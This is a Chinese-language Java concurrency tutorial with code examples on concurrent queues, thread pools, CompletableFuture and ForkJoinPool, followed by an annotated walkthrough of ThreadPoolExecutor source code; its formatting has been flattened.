以下代码分别使用链表LinkList和ConcurrentQueue,对比一下速度 LinkList用了5s多,ConcurrentQueue几乎瞬间完成 Concurrent接口就是专为多线程设计,多线程设计要多考虑Queue(高并发用)的使用,少使用List / 有N张火车票,每张票都有一个编号 同时有10个窗口对外售票 请写一个模拟程序 分析下面的程序可能会产生哪些问题? 重复销售?超量销售? 使用Vector或者Collections.synchronizedXXX 分析一下,这样能解决问题吗? 就算操作A和B都是同步的,但A和B组成的复合操作也未必是同步的,仍然需要自己进行同步 就像这个程序,判断size和进行remove必须是一整个的原子操作 @author 马士兵/import java.util.LinkedList;import java.util.List;import java.util.concurrent.TimeUnit;public class TicketSeller3 {static List<String> tickets = new LinkedList<>();static {for(int i=0; i<1000; i++) tickets.add("票 编号:" + i);}public static void main(String[] args) {for(int i=0; i<10; i++) {new Thread(()->{while(true) {synchronized(tickets) {if(tickets.size() <= 0) break;try {TimeUnit.MILLISECONDS.sleep(10);} catch (InterruptedException e) {e.printStackTrace();}System.out.println("销售了--" + tickets.remove(0));} }}).start();} }} 队列 import java.util.Queue;import java.util.concurrent.ConcurrentLinkedQueue;public class TicketSeller4 {static Queue<String> tickets = new ConcurrentLinkedQueue<>();static {for(int i=0; i<1000; i++) tickets.add("票 编号:" + i);}public static void main(String[] args) {for(int i=0; i<10; i++) {new Thread(()->{while(true) {String s = tickets.poll();if(s == null) break;else System.out.println("销售了--" + s);} }).start();} }} 3、多线程常用容器 1、ConcurrentHashMap(无序)和ConcurrentSkipListMap(有序,链表,使用跳表数据结构,让查询更快) 跳表:http://blog.csdn.net/sunxianghuang/article/details/52221913 import java.util.;import java.util.concurrent.ConcurrentHashMap;import java.util.concurrent.ConcurrentSkipListMap;import java.util.concurrent.CountDownLatch;public class T01_ConcurrentMap {public static void main(String[] args) {Map<String, String> map = new ConcurrentHashMap<>();//Map<String, String> map = new ConcurrentSkipListMap<>(); //高并发并且排序//Map<String, String> map = new Hashtable<>();//Map<String, String> map = new HashMap<>(); //Collections.synchronizedXXX//TreeMapRandom r = new Random();Thread[] ths = new Thread[100];CountDownLatch latch = new CountDownLatch(ths.length);long start = System.currentTimeMillis();for(int i=0; i<ths.length; i++) {ths[i] = new Thread(()->{for(int j=0; j<10000; j++) map.put("a" + r.nextInt(100000), "a" + r.nextInt(100000));latch.countDown();});}Arrays.asList(ths).forEach(t->t.start());try {latch.await();} catch (InterruptedException e) {e.printStackTrace();}long end = System.currentTimeMillis();System.out.println(end - start);System.out.println(map.size());} } 2、CopyOnWriteList(写时复制)和CopyOnWriteSet 适用于,高并发是,读的多,写的少的情况 当我们写的时候,将容器复制,让写线程去复制的线程写(写的时候加锁) 而读线程依旧去读旧的(读的时候不加锁) 当写完,将对象指向复制后的已经写完的容器,原来容器销毁 大大提高读的效率 / 写时复制容器 copy on write 多线程环境下,写时效率低,读时效率高 适合写少读多的环境 @author 马士兵/import java.util.ArrayList;import java.util.Arrays;import java.util.List;import java.util.Random;import java.util.Vector;import java.util.concurrent.CopyOnWriteArrayList;public class T02_CopyOnWriteList {public static void main(String[] args) {List<String> lists = //new ArrayList<>(); //这个会出并发问题!//new Vector();new CopyOnWriteArrayList<>();Random r = new Random();Thread[] ths = new Thread[100];for(int i=0; i<ths.length; i++) {Runnable task = new Runnable() {@Overridepublic void run() {for(int i=0; i<1000; i++) lists.add("a" + r.nextInt(10000));} };ths[i] = new Thread(task);}runAndComputeTime(ths);System.out.println(lists.size());}static void runAndComputeTime(Thread[] ths) {long s1 = System.currentTimeMillis();Arrays.asList(ths).forEach(t->t.start());Arrays.asList(ths).forEach(t->{try {t.join();} catch (InterruptedException e) {e.printStackTrace();} });long s2 = System.currentTimeMillis();System.out.println(s2 - s1);} } 3、synchronizedList和ConcurrentLinkedQueue package com.mashibing.juc.c_025;import java.util.ArrayList;import java.util.Collections;import java.util.List;import java.util.Queue;import java.util.concurrent.ConcurrentLinkedQueue;public class T04_ConcurrentQueue {public static void main(String[] args) {List<String> strsList = new ArrayList<>();List<String> strsSync = Collections.synchronizedList(strsList);//加锁ListQueue<String> strs = new ConcurrentLinkedQueue<>();//Concurrent链表队列,就是读快for(int i=0; i<10; i++) {strs.offer("a" + i); //add添加,但是不同点是,此方法会返回一个布尔值}System.out.println(strs);System.out.println(strs.size());System.out.println(strs.poll());//取出,取完后将元素去除System.out.println(strs.size());System.out.println(strs.peek());//取出,但是不会将元素从队列删除System.out.println(strs.size());//双端队列Deque} } 4、LinkedBlockingQueue 链表阻塞队列(无界链表,可以一直装东西,直到内存满(其实,也不是无限,其长度Integer.MaxValue就是上限,毕竟最大就这么大)) 主要体现在put和take方法,put添加的时候,如果队列满了,就阻塞当前线程,直到队列有空位,继续插入。take方法取的时候,如果没有值,就阻塞,等有值了,立马去取 import java.util.Random;import java.util.concurrent.BlockingQueue;import java.util.concurrent.LinkedBlockingQueue;import java.util.concurrent.TimeUnit;public class T05_LinkedBlockingQueue {static BlockingQueue<String> strs = new LinkedBlockingQueue<>();static Random r = new Random();public static void main(String[] args) {new Thread(() -> {for (int i = 0; i < 100; i++) {try {strs.put("a" + i); //如果满了,当前线程就会等待(实现阻塞),等多会有空位,将值插入TimeUnit.MILLISECONDS.sleep(r.nextInt(1000));} catch (InterruptedException e) {e.printStackTrace();} }}, "p1").start();for (int i = 0; i < 5; i++) {new Thread(() -> {for (;;) {try {System.out.println(Thread.currentThread().getName() + " take -" + strs.take()); //取内容,如果空了,当前线程就会等待(实现阻塞)} catch (InterruptedException e) {e.printStackTrace();} }}, "c" + i).start();} }} 5、ArrayBlockingQueue 有界阻塞队列(因为Array需要指定长度) import java.util.Random;import java.util.concurrent.ArrayBlockingQueue;import java.util.concurrent.BlockingQueue;import java.util.concurrent.TimeUnit;public class T06_ArrayBlockingQueue {static BlockingQueue<String> strs = new ArrayBlockingQueue<>(10);static Random r = new Random();public static void main(String[] args) throws InterruptedException {for (int i = 0; i < 10; i++) {strs.put("a" + i);}//strs.put("aaa"); //满了就会等待,程序阻塞//strs.add("aaa");//strs.offer("aaa");strs.offer("aaa", 1, TimeUnit.SECONDS);System.out.println(strs);} } 6、特殊的阻塞队列1:DelayQueue 延时队列(按时间进行调度,就是隔多长时间运行,谁隔的少,谁先) 以下例子中,我们添加线程到队列顺序为t12345,正常情况下,会按照顺序运行,但是这里有了延时时间,也就是时间越短,越先执行 步骤很简单,拿到延时队列 指定构造方法 继承 implements Delayed 重写 compareTo和getDelay import java.util.Calendar;import java.util.Random;import java.util.concurrent.BlockingQueue;import java.util.concurrent.DelayQueue;import java.util.concurrent.Delayed;import java.util.concurrent.TimeUnit;public class T07_DelayQueue {static BlockingQueue<MyTask> tasks = new DelayQueue<>();static Random r = new Random();static class MyTask implements Delayed {String name;long runningTime;MyTask(String name, long rt) {this.name = name;this.runningTime = rt;}@Overridepublic int compareTo(Delayed o) {if(this.getDelay(TimeUnit.MILLISECONDS) < o.getDelay(TimeUnit.MILLISECONDS))return -1;else if(this.getDelay(TimeUnit.MILLISECONDS) > o.getDelay(TimeUnit.MILLISECONDS)) return 1;else return 0;}@Overridepublic long getDelay(TimeUnit unit) {return unit.convert(runningTime - System.currentTimeMillis(), TimeUnit.MILLISECONDS);}@Overridepublic String toString() {return name + " " + runningTime;} }public static void main(String[] args) throws InterruptedException {long now = System.currentTimeMillis();MyTask t1 = new MyTask("t1", now + 1000);MyTask t2 = new MyTask("t2", now + 2000);MyTask t3 = new MyTask("t3", now + 1500);MyTask t4 = new MyTask("t4", now + 2500);MyTask t5 = new MyTask("t5", now + 500);tasks.put(t1);tasks.put(t2);tasks.put(t3);tasks.put(t4);tasks.put(t5);System.out.println(tasks);for(int i=0; i<5; i++) {System.out.println(tasks.take());//获取的是toString方法返回值} }} 7、特殊的阻塞队列2:PriorityQueque 优先队列(二叉树算法,就是排序) import java.util.PriorityQueue;public class T07_01_PriorityQueque {public static void main(String[] args) {PriorityQueue<String> q = new PriorityQueue<>();q.add("c");q.add("e");q.add("a");q.add("d");q.add("z");for (int i = 0; i < 5; i++) {System.out.println(q.poll());} }} 8、特殊的阻塞队列3:SynchronusQueue 同步队列(线程池用处非常大) 此队列容量为0,当插入元素时,必须同时有个线程往外取 就是说,当你往这个队列里面插入一个元素,它就拿着这个元素站着(阻塞),直到有个取元素的线程来,它就把元素交给它 就是用来同步数据的,也就是线程间交互数据用的一个特殊队列 package com.mashibing.juc.c_025;import java.util.concurrent.BlockingQueue;import java.util.concurrent.SynchronousQueue;public class T08_SynchronusQueue { //容量为0public static void main(String[] args) throws InterruptedException {BlockingQueue<String> strs = new SynchronousQueue<>();new Thread(()->{//这个线程就是消费者,来取值try {System.out.println(strs.take());//和同步队列要值} catch (InterruptedException e) {e.printStackTrace();} }).start();strs.put("aaa"); //阻塞等待消费者消费,就拿着aaa站着,等线程来取//strs.put("bbb");//strs.add("aaa");System.out.println(strs.size());} } 9、特殊的阻塞队列4:TransferQueue 传递队列 此队列加入了一个方法transfer()用来向队列添加元素 但是和put()方法不同的是,put添加完元素就走了 而这个方法,添加完自己就阻塞了,直到有人将这个元素取走,它才继续工作(省去我们手动阻塞) import java.util.concurrent.LinkedTransferQueue;public class T09_TransferQueue {public static void main(String[] args) throws InterruptedException {LinkedTransferQueue<String> strs = new LinkedTransferQueue<>();new Thread(() -> {try {System.out.println(strs.take());} catch (InterruptedException e) {e.printStackTrace();} }).start();strs.transfer("aaa");//放东西到队列,同时阻塞等待消费者线程,取走元素//strs.put("aaa");//如果用put就和普通队列一样,放完东西就走了/new Thread(() -> {try {System.out.println(strs.take());} catch (InterruptedException e) {e.printStackTrace();} }).start();/} } 3、线程池 线程池 由于单独创建线程,十分影响效率,而且无法对线程集中管理,一旦疏落,可能线程无限执行,浪费资源 线程池就是一个存储线程的游泳池,而每个线程就是池子里面的赛道 池子里的线程不执行任何任务,只是提供一个资源 而谁提交了任务,比如我想来游泳,那么池子就给你一个赛道,让你游泳 比如它想练憋气,那么给它一个赛道练憋气 当他们用完,走了,那么后面其它人再过来继续用 这就是线程池,始终只有这几个线程,不做实现,而是借用这几个线程的用户,自己掌控用这些线程资源做什么(提交任务给线程,线程空闲就帮他们完成任务) 线程池的两种类型(两类,不是两个) ThreadPoolExecutor(简称TPE) ForkJoinPool(分解汇总任务(将任务细化,最后汇总结果),少量线程执行多个任务(子任务,TPE做不到先执行子任务),CPU密集型) Executors(注意这后面有s) 它可以说是线程池工厂类,我们一般通过它创建线程池,并且它为我们封装了线程 1、常用类 Executor ExecutorService 扩展了execute方法,具有一个返回值 规定了异步执行机制,提供了一些执行器方法,比如shutdown()关闭等 但是它不知道执行器中的线程何时执行完 Callable 对Runnable进行了扩展,实现Callable的调用,可以有返回值,表示线程的状态 但是无法返回线程执行结果 Future 获得未来线程执行结果 由此,我们可以得知线程池基本的一个使用步骤 其中service.submit():为异步提交,也就是说,主线程该干嘛干嘛,我是异步执行的,和同步不一样(当前线程执行完,主线程才能继续执行,叫同步) futuer.get():获取结果集结果,此时因为异步,主线程执行到这里,结果集可能还没封装好,所以此时如果没有值,就阻塞,直到结果集出来 public static void main(String[] args) throws ExecutionException, InterruptedException {Callable<String> c = new Callable() {@Overridepublic String call() throws Exception {return "Hello Callable";} };ExecutorService service = Executors.newCachedThreadPool();Future<String> future = service.submit(c); //异步System.out.println(future.get());//阻塞service.shutdown();} 2、FutureTask 可充当任务的结果集 上面我们介绍Future是用来得到任务的执行结果的 而FutureTask,可以当做一个任务用,并且返回任务的结果,也就是可以跑线程,然后还可以得到线程结果 public static void main(String[] args) throws InterruptedException, ExecutionException {FutureTask<Integer> task = new FutureTask<>(()->{TimeUnit.MILLISECONDS.sleep(500);return 1000;}); //new Callable () { Integer call();}new Thread(task).start();System.out.println(task.get()); //阻塞} 3、CompletableFuture 非常灵活的任务结果集 一个非常灵活的结果集 他可以将很多执行不同任务的线程的结果进行汇总 比如一个网站,它可以启动多个线程去各大电商网站,比如淘宝,京东,收集某些或某一个商品的价格 最后,将获取的数据进行整合封装 最终,客户就可以通过此网站,获取某类商品在各网站的价格信息 / 假设你能够提供一个服务 这个服务查询各大电商网站同一类产品的价格并汇总展示 @author 马士兵 http://mashibing.com/import java.io.IOException;import java.util.Random;import java.util.concurrent.CompletableFuture;import java.util.concurrent.ExecutionException;import java.util.concurrent.TimeUnit;public class T06_01_CompletableFuture {public static void main(String[] args) throws ExecutionException, InterruptedException {long start, end;/start = System.currentTimeMillis();priceOfTM();priceOfTB();priceOfJD();end = System.currentTimeMillis();System.out.println("use serial method call! " + (end - start));/start = System.currentTimeMillis();CompletableFuture<Double> futureTM = CompletableFuture.supplyAsync(()->priceOfTM());CompletableFuture<Double> futureTB = CompletableFuture.supplyAsync(()->priceOfTB());CompletableFuture<Double> futureJD = CompletableFuture.supplyAsync(()->priceOfJD());CompletableFuture.allOf(futureTM, futureTB, futureJD).join();//当所有结果集都获取到,才汇总阻塞CompletableFuture.supplyAsync(()->priceOfTM()).thenApply(String::valueOf).thenApply(str-> "price " + str).thenAccept(System.out::println);end = System.currentTimeMillis();System.out.println("use completable future! " + (end - start));try {System.in.read();} catch (IOException e) {e.printStackTrace();} }private static double priceOfTM() {delay();return 1.00;}private static double priceOfTB() {delay();return 2.00;}private static double priceOfJD() {delay();return 3.00;}/private static double priceOfAmazon() {delay();throw new RuntimeException("product not exist!");}/private static void delay() {int time = new Random().nextInt(500);try {TimeUnit.MILLISECONDS.sleep(time);} catch (InterruptedException e) {e.printStackTrace();}System.out.printf("After %s sleep!\n", time);} } 4、TPE型线程池1:ThreadPoolExecutor 原理及其参数 线程池由两个集合组成,一个集合存储线程,一个集合存储任务 存储线程:可以规定大小,最多可以有多少个,以及指定核心线程数量(不会被回收) 任务队列:存储任务 细节:初始线程池没有线程,当有一个任务来,线程池起一个线程,又有一个任务来,再起一个线程,直到达到核心线程数量 核心线程数量达到时,新来的任务将存储到任务队列中等待核心线程处理完成,直到任务队列也满了 当任务队列满了,此时再次启动一个线程(非核心线程,一旦空闲,达到指定时间将会消失),直到达到线程最大数量 当线程容器和任务容器都满了,又来了线程,将会执行拒绝策略 上面的细节涉及的所有步骤内容,均由创建线程池的参数执行 下面是ThreadPoolExecutor构造方法参数的源码注释 / 用给定的初始值,创建一个新的线程池 @param corePoolSize 核心线程数量 @param maximumPoolSize 最大线程数量 @param keepAliveTime 当线程数大于核心线程数量时,空闲的线程可生存的时间 @param unit 时间单位 @param workQueue 任务队列,只能包含由execute提交的Runnable任务 @param threadFactory 工厂,用于创建线程给线程池调度的工厂,可以自定义 @param handler 拒绝策略(可以自定义,JDK默认提供4种),当线程边界和队列容量已经满了,新来线程被阻塞时使用的处理程序/public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,BlockingQueue<Runnable> workQueue,ThreadFactory threadFactory,RejectedExecutionHandler handler) JDK提供的4种拒绝策略,不常用,一般都是自己定义拒绝策略 Abort:抛异常 Discard:扔掉,不抛异常 DiscardOldest:扔掉排队时间最久的(将队列中排队时间最久的扔掉,然后让新来的进来) CallerRuns:调用者处理任务(谁通过execute方法提交任务,谁处理) ThreadPoolExecutor继承关系 继承关系:ThreadPoolExecutor->AbstractExectorService类->ExectorService接口->Exector接口 Executors(注意这后面有s) 它可以说是线程池工厂类,我们一般通过它创建线程池,并且它为我们封装了线程 看看下面创建线程池,哪里用到了它 使用实例 import java.io.IOException;import java.util.concurrent.;public class T05_00_HelloThreadPool {static class Task implements Runnable {private int i;public Task(int i) {this.i = i;}@Overridepublic void run() {System.out.println(Thread.currentThread().getName() + " Task " + i);try {System.in.read();} catch (IOException e) {e.printStackTrace();} }@Overridepublic String toString() {return "Task{" +"i=" + i +'}';} }public static void main(String[] args) {ThreadPoolExecutor tpe = new ThreadPoolExecutor(2, 4,60, TimeUnit.SECONDS,new ArrayBlockingQueue<Runnable>(4),Executors.defaultThreadFactory(),new ThreadPoolExecutor.CallerRunsPolicy());//创建线程池,核心2个,最大4个,空闲线程存活时间60s,任务队列容量4,使用默认线程工程,创建线程。拒绝策略是JDK提供的for (int i = 0; i < 8; i++) {tpe.execute(new Task(i));//供提交8次任务}System.out.println(tpe.getQueue());//查看任务队列tpe.execute(new Task(100));//提交新的任务System.out.println(tpe.getQueue());tpe.shutdown();//关闭线程池} } 5、TPE型线程池2:SingleThreadPool 单例线程池(只有一个线程) 为什么有单例线程池 有任务队列,有线程池管理机制 Executors(注意这后面有s) 它可以说是线程池工厂类,我们一般通过它创建线程池,并且它为我们封装了线程 看看下面哪里用到了它 /创建单例线程池,扔5个任务进去,查看输出结果,看看有几个线程执行任务/import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;public class T07_SingleThreadPool {public static void main(String[] args) {ExecutorService service = Executors.newSingleThreadExecutor();for(int i=0; i<5; i++) {final int j = i;service.execute(()->{System.out.println(j + " " + Thread.currentThread().getName());});} }} 6、TPE型线程池3:CachedPool 缓存,存储线程池 此线程池没有核心线程,来一个任务启动一个线程(最多Integer.MaxValue,不会放在任务队列,因为任务队列容量为0),每个线程空闲后,只能活60s 实例 import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;public class T07_SingleThreadPool {public static void main(String[] args) {ExecutorService service = Executors.newSingleThreadExecutor();//通过Executors获取池子for(int i=0; i<5; i++) {final int j = i;service.execute(()->{//提交任务System.out.println(j + " " + Thread.currentThread().getName());});}service.shutdown();} } 7、TPE型线程池4:FixedThreadPool 固定线程池 此线次池,用于创建一个固定线程数量的线程池,不会回收 实例 import java.util.ArrayList;import java.util.List;import java.util.concurrent.Callable;import java.util.concurrent.ExecutionException;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import java.util.concurrent.Future;public class T09_FixedThreadPool {public static void main(String[] args) throws InterruptedException, ExecutionException {//并发执行long start = System.currentTimeMillis();getPrime(1, 200000); long end = System.currentTimeMillis();System.out.println(end - start);//输出并发执行耗费时间final int cpuCoreNum = 4;//并行执行ExecutorService service = Executors.newFixedThreadPool(cpuCoreNum);MyTask t1 = new MyTask(1, 80000); //1-5 5-10 10-15 15-20MyTask t2 = new MyTask(80001, 130000);MyTask t3 = new MyTask(130001, 170000);MyTask t4 = new MyTask(170001, 200000);Future<List<Integer>> f1 = service.submit(t1);Future<List<Integer>> f2 = service.submit(t2);Future<List<Integer>> f3 = service.submit(t3);Future<List<Integer>> f4 = service.submit(t4);start = System.currentTimeMillis();f1.get();f2.get();f3.get();f4.get();end = System.currentTimeMillis();System.out.println(end - start);//输出并行耗费时间}static class MyTask implements Callable<List<Integer>> {int startPos, endPos;MyTask(int s, int e) {this.startPos = s;this.endPos = e;}@Overridepublic List<Integer> call() throws Exception {List<Integer> r = getPrime(startPos, endPos);return r;} }static boolean isPrime(int num) {for(int i=2; i<=num/2; i++) {if(num % i == 0) return false;}return true;}static List<Integer> getPrime(int start, int end) {List<Integer> results = new ArrayList<>();for(int i=start; i<=end; i++) {if(isPrime(i)) results.add(i);}return results;} } 8、TPE型线程池5:ScheduledPool 预定,延时线程池 根据延时时间(隔多长时间后运行),排序,哪个线程先执行,用户只需要指定核心线程数量 此线程池返回的池对象,和提交任务方法都不一样,比较涉及到时间 import java.util.Random;import java.util.concurrent.Executors;import java.util.concurrent.ScheduledExecutorService;import java.util.concurrent.TimeUnit;public class T10_ScheduledPool {public static void main(String[] args) {ScheduledExecutorService service = Executors.newScheduledThreadPool(4);service.scheduleAtFixedRate(()->{//提交延时任务try {TimeUnit.MILLISECONDS.sleep(new Random().nextInt(1000));} catch (InterruptedException e) {e.printStackTrace();}System.out.println(Thread.currentThread().getName());}, 0, 500, TimeUnit.MILLISECONDS);//指定延时时间和单位,第一个任务延时0毫秒,之后的任务,延时500毫秒} } 9、手写拒绝策略小例子 import java.util.concurrent.;public class T14_MyRejectedHandler {public static void main(String[] args) {ExecutorService service = new ThreadPoolExecutor(4, 4,0, TimeUnit.SECONDS, new ArrayBlockingQueue<>(6),Executors.defaultThreadFactory(),new MyHandler());//将手写拒绝策略传入}static class MyHandler implements RejectedExecutionHandler {//1、继承RejectedExecutionHandler@Overridepublic void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {//2、重写方法//log("r rejected")//伪代码,表示通过log4j.log()报一下日志,拒绝的时间,线程名//save r kafka mysql redis//可以尝试保存队列//try 3 times //可以尝试几次,比如3次,重新去抢队列,3次还不行就丢弃if(executor.getQueue().size() < 10000) {//尝试条件,如果size>10000了,就执行拒绝策略//try put again();//如果小于10000,尝试将其放到队列中} }} } 10、ForkJoinPool线程池1:ForkJoinPool 前面我们讲过线程分为两大类,TPE和FJP ForkJoinPool(分解汇总任务(将任务细化,最后汇总结果),少量线程执行多个任务(子任务,TPE做不到先执行子任务),CPU密集型) 适合将大任务切分成多个小任务运行 两个方法,fork():分子任务,将子任务分配到线程池中 join():当前任务的计算结果,如果有子任务,等子任务结果返回后再汇总 下面实例实现,一百万个随机数求和,由两种方法实现,一种ForkJoinPool分任务并行,一种使用单线程做 import java.io.IOException;import java.util.Arrays;import java.util.Random;import java.util.concurrent.ForkJoinPool;import java.util.concurrent.RecursiveAction;import java.util.concurrent.RecursiveTask;public class T12_ForkJoinPool {//1000000个随机数求和static int[] nums = new int[1000000];//一堆数static final int MAX_NUM = 50000;//分任务时,每个任务的操作量不能多于50000个,否则就继续细分static Random r = new Random();//使用随机数将数组初始化static {for(int i=0; i<nums.length; i++) {nums[i] = r.nextInt(100);}System.out.println("---" + Arrays.stream(nums).sum()); //stream api 单线程就这么做,一个一个加}//分任务,需要继承,可以继承RecursiveAction(不需要返回值,一般用在不需要返回值的场景)或//RecursiveTask(需要返回值,我们用这个,因为我们需要最后获取求和结果)两个更好实现的类,//他俩继承与ForkJoinTaskstatic class AddTaskRet extends RecursiveTask<Long> {private static final long serialVersionUID = 1L;int start, end;AddTaskRet(int s, int e) {start = s;end = e;}@Overrideprotected Long compute() {if(end-start <= MAX_NUM) {//如果任务操作数小于规定的最大操作数,就进行运算,long sum = 0L;for(int i=start; i<end; i++) sum += nums[i];return sum;//返回结果} //如果分配的操作数大于规定,就继续细分(简单的重中点分,两半)int middle = start + (end-start)/2;//获取中间值AddTaskRet subTask1 = new AddTaskRet(start, middle);//传入起始值和中间值,表示一个子任务AddTaskRet subTask2 = new AddTaskRet(middle, end);//中间值和结尾值,表示一个子任务subTask1.fork();//分任务subTask2.fork();//分任务return subTask1.join() + subTask2.join();//最后返回结果汇总} }public static void main(String[] args) throws IOException {/ForkJoinPool fjp = new ForkJoinPool();AddTask task = new AddTask(0, nums.length);fjp.execute(task);/ForkJoinPool fjp = new ForkJoinPool();//创建线程池AddTaskRet task = new AddTaskRet(0, nums.length);//创建任务fjp.execute(task);//传入任务long result = task.join();//返回汇总结果System.out.println(result);//System.in.read();} } 11、ForkJoinPool线程池2:WorkStealingPool 任务偷取线程池 原来的线程池,都是有一个任务队列,而这个不同,它给每个线程都分配了一个任务队列 当某一个线程的任务队列没有任务,并且自己空闲,它就去其它线程的任务队列中偷任务,所以叫任务偷取线程池 细节:当线程自己从自己的任务队列拿任务时,不需要加锁,但是偷任务时,因为有两个线程,可能发生同步问题,需要加锁 此线程继承FJP 实例 import java.io.IOException;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import java.util.concurrent.TimeUnit;public class T11_WorkStealingPool {public static void main(String[] args) throws IOException {ExecutorService service = Executors.newWorkStealingPool();System.out.println(Runtime.getRuntime().availableProcessors());service.execute(new R(1000));service.execute(new R(2000));service.execute(new R(2000));service.execute(new R(2000)); //daemonservice.execute(new R(2000));//由于产生的是精灵线程(守护线程、后台线程),主线程不阻塞的话,看不到输出System.in.read(); }static class R implements Runnable {int time;R(int t) {this.time = t;}@Overridepublic void run() {try {TimeUnit.MILLISECONDS.sleep(time);} catch (InterruptedException e) {e.printStackTrace();}System.out.println(time + " " + Thread.currentThread().getName());} }} 12、流式API:ParallelStreamAPI 不懂的请参考:https://blog.csdn.net/grd_java/article/details/110265219 实例 import java.util.ArrayList;import java.util.List;import java.util.Random;public class T13_ParallelStreamAPI {public static void main(String[] args) {List<Integer> nums = new ArrayList<>();Random r = new Random();for(int i=0; i<10000; i++) nums.add(1000000 + r.nextInt(1000000));//System.out.println(nums);long start = System.currentTimeMillis();nums.forEach(v->isPrime(v));long end = System.currentTimeMillis();System.out.println(end - start);//使用parallel stream apistart = System.currentTimeMillis();nums.parallelStream().forEach(T13_ParallelStreamAPI::isPrime);//并行流,将任务切分成子任务执行end = System.currentTimeMillis();System.out.println(end - start);}static boolean isPrime(int num) {for(int i=2; i<=num/2; i++) {if(num % i == 0) return false;}return true;} } 13、总结 总结 Callable相当于一Runnable但是它有返回值 Future:存储执行完产生的结果 FutureTask 相当于Future+Runnable,既可以执行任务,又能获取任务执行的Future结果 CompletableFuture 可以多任务异步,并对多任务控制,整合任务结果,细化完美,比如可以一个任务完成就可以整合结果,也可以所有任务完成才整合结果 4、ThreadPoolExecutor源码解析 依然只讲重点,实际还需要大家按照上篇博客中看源码的方式来看 1、常用变量的解释 // 1. ctl,可以看做一个int类型的数字,高3位表示线程池状态,低29位表示worker数量private final AtomicInteger ctl = new AtomicInteger(ctlOf(RUNNING, 0));// 2. COUNT_BITS,Integer.SIZE为32,所以COUNT_BITS为29private static final int COUNT_BITS = Integer.SIZE - 3;// 3. CAPACITY,线程池允许的最大线程数。1左移29位,然后减1,即为 2^29 - 1private static final int CAPACITY = (1 << COUNT_BITS) - 1;// runState is stored in the high-order bits// 4. 线程池有5种状态,按大小排序如下:RUNNING < SHUTDOWN < STOP < TIDYING < TERMINATEDprivate static final int RUNNING = -1 << COUNT_BITS;private static final int SHUTDOWN = 0 << COUNT_BITS;private static final int STOP = 1 << COUNT_BITS;private static final int TIDYING = 2 << COUNT_BITS;private static final int TERMINATED = 3 << COUNT_BITS;// Packing and unpacking ctl// 5. runStateOf(),获取线程池状态,通过按位与操作,低29位将全部变成0private static int runStateOf(int c) { return c & ~CAPACITY; }// 6. workerCountOf(),获取线程池worker数量,通过按位与操作,高3位将全部变成0private static int workerCountOf(int c) { return c & CAPACITY; }// 7. ctlOf(),根据线程池状态和线程池worker数量,生成ctl值private static int ctlOf(int rs, int wc) { return rs | wc; }/ Bit field accessors that don't require unpacking ctl. These depend on the bit layout and on workerCount being never negative./// 8. runStateLessThan(),线程池状态小于xxprivate static boolean runStateLessThan(int c, int s) {return c < s;}// 9. runStateAtLeast(),线程池状态大于等于xxprivate static boolean runStateAtLeast(int c, int s) {return c >= s;} 2、构造方法 public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,BlockingQueue<Runnable> workQueue,ThreadFactory threadFactory,RejectedExecutionHandler handler) {// 基本类型参数校验if (corePoolSize < 0 ||maximumPoolSize <= 0 ||maximumPoolSize < corePoolSize ||keepAliveTime < 0)throw new IllegalArgumentException();// 空指针校验if (workQueue == null || threadFactory == null || handler == null)throw new NullPointerException();this.corePoolSize = corePoolSize;this.maximumPoolSize = maximumPoolSize;this.workQueue = workQueue;// 根据传入参数unit和keepAliveTime,将存活时间转换为纳秒存到变量keepAliveTime 中this.keepAliveTime = unit.toNanos(keepAliveTime);this.threadFactory = threadFactory;this.handler = handler;} 3、提交执行task的过程 public void execute(Runnable command) {if (command == null)throw new NullPointerException();/ Proceed in 3 steps: 1. If fewer than corePoolSize threads are running, try to start a new thread with the given command as its first task. The call to addWorker atomically checks runState and workerCount, and so prevents false alarms that would add threads when it shouldn't, by returning false. 2. If a task can be successfully queued, then we still need to double-check whether we should have added a thread (because existing ones died since last checking) or that the pool shut down since entry into this method. So we recheck state and if necessary roll back the enqueuing if stopped, or start a new thread if there are none. 3. If we cannot queue task, then we try to add a new thread. If it fails, we know we are shut down or saturated and so reject the task./int c = ctl.get();// worker数量比核心线程数小,直接创建worker执行任务if (workerCountOf(c) < corePoolSize) {if (addWorker(command, true))return;c = ctl.get();}// worker数量超过核心线程数,任务直接进入队列if (isRunning(c) && workQueue.offer(command)) {int recheck = ctl.get();// 线程池状态不是RUNNING状态,说明执行过shutdown命令,需要对新加入的任务执行reject()操作。// 这儿为什么需要recheck,是因为任务入队列前后,线程池的状态可能会发生变化。if (! isRunning(recheck) && remove(command))reject(command);// 这儿为什么需要判断0值,主要是在线程池构造方法中,核心线程数允许为0else if (workerCountOf(recheck) == 0)addWorker(null, false);}// 如果线程池不是运行状态,或者任务进入队列失败,则尝试创建worker执行任务。// 这儿有3点需要注意:// 1. 线程池不是运行状态时,addWorker内部会判断线程池状态// 2. addWorker第2个参数表示是否创建核心线程// 3. addWorker返回false,则说明任务执行失败,需要执行reject操作else if (!addWorker(command, false))reject(command);} 4、addworker源码解析 private boolean addWorker(Runnable firstTask, boolean core) {retry:// 外层自旋for (;;) {int c = ctl.get();int rs = runStateOf(c);// 这个条件写得比较难懂,我对其进行了调整,和下面的条件等价// (rs > SHUTDOWN) || // (rs == SHUTDOWN && firstTask != null) || // (rs == SHUTDOWN && workQueue.isEmpty())// 1. 线程池状态大于SHUTDOWN时,直接返回false// 2. 线程池状态等于SHUTDOWN,且firstTask不为null,直接返回false// 3. 线程池状态等于SHUTDOWN,且队列为空,直接返回false// Check if queue empty only if necessary.if (rs >= SHUTDOWN &&! (rs == SHUTDOWN &&firstTask == null &&! workQueue.isEmpty()))return false;// 内层自旋for (;;) {int wc = workerCountOf(c);// worker数量超过容量,直接返回falseif (wc >= CAPACITY ||wc >= (core ? corePoolSize : maximumPoolSize))return false;// 使用CAS的方式增加worker数量。// 若增加成功,则直接跳出外层循环进入到第二部分if (compareAndIncrementWorkerCount(c))break retry;c = ctl.get(); // Re-read ctl// 线程池状态发生变化,对外层循环进行自旋if (runStateOf(c) != rs)continue retry;// 其他情况,直接内层循环进行自旋即可// else CAS failed due to workerCount change; retry inner 